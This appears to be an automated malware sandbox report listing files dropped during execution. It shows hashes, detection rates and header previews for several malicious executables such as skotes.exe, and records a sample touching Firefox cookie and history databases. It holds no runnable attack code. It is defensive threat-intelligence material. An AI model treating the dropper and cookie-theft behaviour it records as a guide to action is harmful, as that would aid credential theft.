SHA1:	5F7A6A735D114A12096D8B5E8048F62BF1CDB748
SHA-256:	128194635B1CD03BDD7DA72B0346B5A5D82DA29CDE42DADE730B15252396A6F7
SHA-512:	D48561086B8C2C29C6953BEEDF1D48D67FAD4121A9B6F5A5998E6CD9F8274B5A2310F37A0EEEF35EC85A6B582B94AB0D9B9E4F4C377A7B20A5740BBCA813124B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................K...........@..........................@K.....I.....@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... .P+..P.......X..............@...kcjzlwkt.`....0..X...Z..............@...cwbfsuvm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2821120
Entropy (8bit):	6.523795144591331
Encrypted:	false
SSDEEP:	49152:Y7fQhutJ/Md4qDliSXV4HxH/QYPam3CkFRyw21CsF:Y7fQhuHMd4IRFuJQYPark
MD5:	D445052255EC75C77BF79748BD082EFD
SHA1:	3ED90FE05D24C1709ED86B252F676E506BC0A52B
SHA-256:	01D67E2F0DE76A97A5AF84425B8B7F88B6729DE593C5DD7D9E203FD23DD8C561
SHA-512:	67355CFEECEDFAE91198F67A502FC4C075E77ACBC13B9E0C67FCDD0BDF33A2D0D2EF72093B7AFF730D4393551941DEBAA4F6969C2C3C20FAD1CF8D876108848F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....a.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fnclnjqv...........:..............@...xutkjozi. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.935873643868322
Encrypted:	false
SSDEEP:	49152:Y7lxqmNNdrwjy98ivFTAbrslcIDObJ51:qlz3Oymitkrsl9
MD5:	2E19A105AE94D5CFDBA8166AF58F7A3E
SHA1:	398EC17FA4B03728C4C48C6D2E6F99E01FF78A63
SHA-256:	C4A16BAC6CDC5735E1BBB57C7F4C300E35A4C2F617C85585D17AC5A55A875383
SHA-512:	181D6BEC6FE7A93BC6EA1C5521977567A9565B1F7EF6B3A5CD8F8607CA27BDBCA3C775ED6D5253EF1BB26227648D6A2D118C45B5E43AF78A992135BF70B672BA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d..........................................@.........................................................................Z.B.n.....@.h!.......................................................................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..).. B.....................@...fsoyaldh......k.....................@...uhxnkltw...........................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890304
Entropy (8bit):	7.948068537105683
Encrypted:	false
SSDEEP:	24576:wvWdLS82wG3YOMl3tKd5kWxTC74cMd3r18ZZgoVd4boQ+HVICruDTVXuL7WSFv:ZdGYG3YOMlQ5SaQZZ9VyboRSdXW3v
MD5:	D7229A6C265F82BC80E0908656B99344
SHA1:	5F7A6A735D114A12096D8B5E8048F62BF1CDB748
SHA-256:	128194635B1CD03BDD7DA72B0346B5A5D82DA29CDE42DADE730B15252396A6F7
SHA-512:	D48561086B8C2C29C6953BEEDF1D48D67FAD4121A9B6F5A5998E6CD9F8274B5A2310F37A0EEEF35EC85A6B582B94AB0D9B9E4F4C377A7B20A5740BBCA813124B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................K...........@..........................@K.....I.....@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... .P+..P.......X..............@...kcjzlwkt.`....0..X...Z..............@...cwbfsuvm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1798144
Entropy (8bit):	7.945489103300047
Encrypted:	false
SSDEEP:	24576:fCZPJDrL986um4wskCcB/O5luZPVaYAN5aIGFa2mX1e7vQOB7TBpS2t/nqkemRjX:KfjumUkfxlVkN4AX4QC7Tm2SWXNQLg9
MD5:	0BD6FEAB9EC3FAA844BDCDCE20BB139A
SHA1:	489A61C409DFB7D18BE79E8EE0E6A357E2441B32
SHA-256:	5FACD021CF569F15595A5BCA8A9E248E6C32C1811F8B4C70CA037A15FED258AB
SHA-512:	48C0DB3C10B1AC30F86705F98D653AB487728AD131167FD3A7F26F3666D54BBC0C034139C2BAEC8C66749999CADF9354B5231E43F05EEFEF3ED87C9D4057592F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........i...........@..........................0i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .`*...$......\|..............@...loxwmvpm..... O......~..............@...lrozqijg......h......J..............@....taggant.0....i.."...N..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	968192
Entropy (8bit):	6.698348050892215
Encrypted:	false
SSDEEP:	24576:HqDEvCTbMWu7rQYlBQcBiT6rprG8aaaO:HTvC/MTQYxsWR7aaa
MD5:	B96DF7B03681A0CCCCD55BEC984830B9
SHA1:	5662645C21901D6494E0AC4FE194BA7FF9CE429A
SHA-256:	1863D39014B60EB609302B2E3646D97B571EADAA234CF787B821CEAF057EC45E
SHA-512:	4A87D8A4A7E93D13ABAEF95E5F562D3AA93333B54336D47E41BDEB25315D9B64AD6B4D3A1AD0547FE7EE83F8E3D61698E2801B1AC32A24E2BEB454E9B6DF3D87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...e.Wg..........".................w.............@.......................... .......(....@...@.......@.....................d...\|....@..D[.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...D[...@...\..................@..@.reloc...u.......v...P..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2821120
Entropy (8bit):	6.523795144591331
Encrypted:	false
SSDEEP:	49152:Y7fQhutJ/Md4qDliSXV4HxH/QYPam3CkFRyw21CsF:Y7fQhuHMd4IRFuJQYPark
MD5:	D445052255EC75C77BF79748BD082EFD
SHA1:	3ED90FE05D24C1709ED86B252F676E506BC0A52B
SHA-256:	01D67E2F0DE76A97A5AF84425B8B7F88B6729DE593C5DD7D9E203FD23DD8C561
SHA-512:	67355CFEECEDFAE91198F67A502FC4C075E77ACBC13B9E0C67FCDD0BDF33A2D0D2EF72093B7AFF730D4393551941DEBAA4F6969C2C3C20FAD1CF8D876108848F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....a.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fnclnjqv...........:..............@...xutkjozi. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\JKECGDBFCB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3293184
Entropy (8bit):	6.688696780814049
Encrypted:	false
SSDEEP:	49152:icm/mmZYj4ofA2jiwMLgUg6UfV0yRVgH1oiZnus6:GHi4ofA2jieDVdRVK1Dnus
MD5:	4F2646500156298BD82C572E6C8E4062
SHA1:	44C4DA3BD22FC6AC172A3847C3FBE9B88659C1FF
SHA-256:	69F12161BD960117BAF9728942BE8AE7D34AEAC22FFEFF912DC8AB227A44229B
SHA-512:	50235199C1E446FCC1A1BD93BBADF4C048AC363A472297E522CD32290F0C81318F8434120B5EE77C82BBD85F01AF7EB962E71E4DE54CCD59F5FF214208B9DE39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2......2...@.................................W...k............................12.............................D12..................................................... . ............................@....rsrc...............................@....idata ............................@...hjzxticg..+.......+.................@...ugypvtkj.....@2.......2.............@....taggant.0...P2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 00:50:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9747032539550453
Encrypted:	false
SSDEEP:	48:84dKT26DHUidAKZdA19ehwiZUklqehuy+3:8tXGFy
MD5:	77974713F7C5A7C38EB48EBF290D68B9
SHA1:	B5A562FF59CF086814762CD0CA398B7291596E44
SHA-256:	B963EF88C43F2FBDB2C58EE3A967AC2468FC753A695834B2F445748E872BD4F0
SHA-512:	5B6F032F52530B49D67C212A9635EA3BDE32543DA552478751DAB41A3CD0F038627786ED766F7DE4CE4F0880B5E7955230C591BCEE9DE622FC06799FC2AA27D6
Malicious:	false
Preview:	L..................F.@.. ...$+.,......u.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YE............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 00:50:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.989865859347374
Encrypted:	false
SSDEEP:	48:8PdKT26DHUidAKZdA1weh/iZUkAQkqeh1y+2:8sXE9Q8y
MD5:	DEADDD235C0C3B04704D460E77D6FEB9
SHA1:	2F932D8F49CC6EBD632E0ED81EFB5197B065A537
SHA-256:	4BB02B5F5E15F17F582ADF719EBAA5BD405AA25992B44B832454ABDCE2F69CF4
SHA-512:	EE69169B7DAD738B205368F89AF02E6755C50775CDDE1C5D4F2B06883D4914B962DA3DDB8A479567DD49D8FE0AAD0C77CDA991DB2676A206F8310BB8BCAF1FD3
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YE............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003555274087451
Encrypted:	false
SSDEEP:	48:8xjdKT26sHUidAKZdA14tseh7sFiZUkmgqeh7sLy+BX:8xgXhnZy
MD5:	1386ED260094B6C69B63AEBFFFEC283D
SHA1:	C69E56B9311BBA952EB12BABA80BCE536911D010
SHA-256:	957A87626182E3A992A5E018CF5A84D702C1864FEE44321B4697DA54B73357CB
SHA-512:	89D59BD695A2BDE78E6004AF02E152B4CA1F585B6C3CADC68873756377A46600BBEA72BC774B26F0C2CBB2F52B4AA9F06CCAE05B60FD397F9C94D65D615510BA
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 00:50:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9908280836642898
Encrypted:	false
SSDEEP:	48:8mdKT26DHUidAKZdA1vehDiZUkwqehBy+R:8jXPTy
MD5:	40F3E67EFACF4ED5E5EA492B8953C728
SHA1:	E8362AD3585688D43C567960E310CD7983E16991
SHA-256:	38BD80DAFAB78FA6F29C9D9F9CC5D24E5A8E52802AB36011CF5606E5CCBF1AAA
SHA-512:	704FEDD996A4F8DFA12BAADF84D49F620B507D395DD553BC78A92645CADB43D158A457F91AAA85643B0214C35A699EEBF39C0514F47FFC5A90D27390FEE099E0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....g.^.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YE............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 00:50:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.97804481707414
Encrypted:	false
SSDEEP:	48:8DdKT26DHUidAKZdA1hehBiZUk1W1qehPy+C:8AXv9vy
MD5:	22FFC61D44BF29C9E1092876FB98612B
SHA1:	0BEA3980C11F214D2BFE57080508AA0206170C5C
SHA-256:	EBBAB61240594FAA63DA16F4FAF524226652514711623E23732B812FB6FC9E40
SHA-512:	8787074AA919CBE175AC59E9E4F9DC4B03D0E698E79AA2D4EED05EE52F527785571BA098F20152952B40C4112B56A37CD02C74B172AB3D12E16FE164FC6FCAED
Malicious:	false
Preview:	L..................F.@.. ...$+.,......i.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YE............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 00:50:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.991599847306322
Encrypted:	false
SSDEEP:	48:8PdKT26DHUidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbZy+yT+:8sXnT/TbxWOvTbZy7T
MD5:	496DA7F9693F350D55907076095A7F44
SHA1:	6FB9DDAA974B1969107501EA5BCCEE8A47BB0A54
SHA-256:	A1C56DF0159E5B1ADDE14C47D41794F860521F6726161B0DF6C2F0F53125FA35
SHA-512:	A7FBF6CC8C04FC7DD5F35DA3BE1C464D7E7F5ACE75DD47C8ADA4EC850460E83ACF36B98EF214995F563258A10F1DB7EF7C7669014D3E0D537FD5CCF66F7ADA3A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Q.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YD.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YD.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YD.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YD............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YE............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........+........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:	3:GtlstF4xsHMQ6spdppYl3lstF4xsHMQ6spdpjD89//alEl:GtWt6axXY1Wt6axdD89XuM
MD5:	AA7C75F00003C613075F416943B5B3B8
SHA1:	A1D389A1D94174D1EF2A973B7718734B9C682E48
SHA-256:	4CF829743B1638244DAB81CE8C0912970B6FD4E55FB98BBE3ACC68F31A447F76
SHA-512:	F49DC250466C91C60874D67EEF36984B728992A4EC23F163267393F909EEA521878B773A4B22ACD4D430BA4A2294A8037D9508D3C372A6E7519F9513938CE031
Malicious:	true
Preview:	..-..........................'biu.e.......S..0...-..........................'biu.e.......S..0.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11781
Entropy (8bit):	5.462931021444556
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp6BJ0aX+H6SEXK5NBV5RHWNBw8dFSl:TDeAJUasjHEwu0
MD5:	AD92D2994B4514F976DE842613089F1D
SHA1:	3E5B3B6C12233D0F3FC6B5CAE07F750422BE2D31
SHA-256:	8142AB217C29D80061D66E694E5743B261A509F8FD03783E27ED61DECC36DB02
SHA-512:	ABD272AED448989BDF85B1A0813A8FE9087BDF228F8A213F7C7972441AF98CEDD1F3D362B9246BEF5F6B79D2570899FBD57521E1BE63D6955AB3350D7DA1879A
Malicious:	false
